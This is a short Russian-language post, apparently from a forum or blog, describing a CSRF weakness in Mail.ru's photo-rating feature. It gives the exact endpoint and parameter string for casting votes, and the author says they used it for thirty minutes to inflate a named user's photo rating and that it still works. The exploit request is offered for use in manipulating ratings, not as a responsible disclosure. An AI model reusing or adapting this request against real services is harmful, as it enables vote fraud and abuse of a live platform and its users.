Накручиваем рейтинг фото на Mail.ru / CSRF

 

Сегодня, от безделья решил, чем нибудь заняться, а чем же можно заняться, как не посидеть в соц. сети.  Не знаю, как дело дошло до того, что решил проверить метод оценки фотографий. И как тут оказалась, дополнительных, уникальных переменных не передаётся, CSRF)))

 

Запрос  по адресу: http://foto.mail.ru/cgi-bin/photo/ajax

Данные для передачи:

ajax_call=1&func_name=perl_add_vote&data=["[email protected]", 5, 450, "_myphoto", 0, ""]&back=http://foto.mail.ru/mail/sweet_k_92/_myphoto/450.html

[email protected] - ваш емайл, 5 - Оценка, 450 - Номер фотографии.

http://foto.mail.ru/mail/sweet_k_92/_myphoto/450.html - Адрес фото

Вот результат, 30-ти минутной накрутки: http://foto.mail.ru/mail/sweet_k_92/_myphoto/450.html

На момент написания данной статьи, всё работает.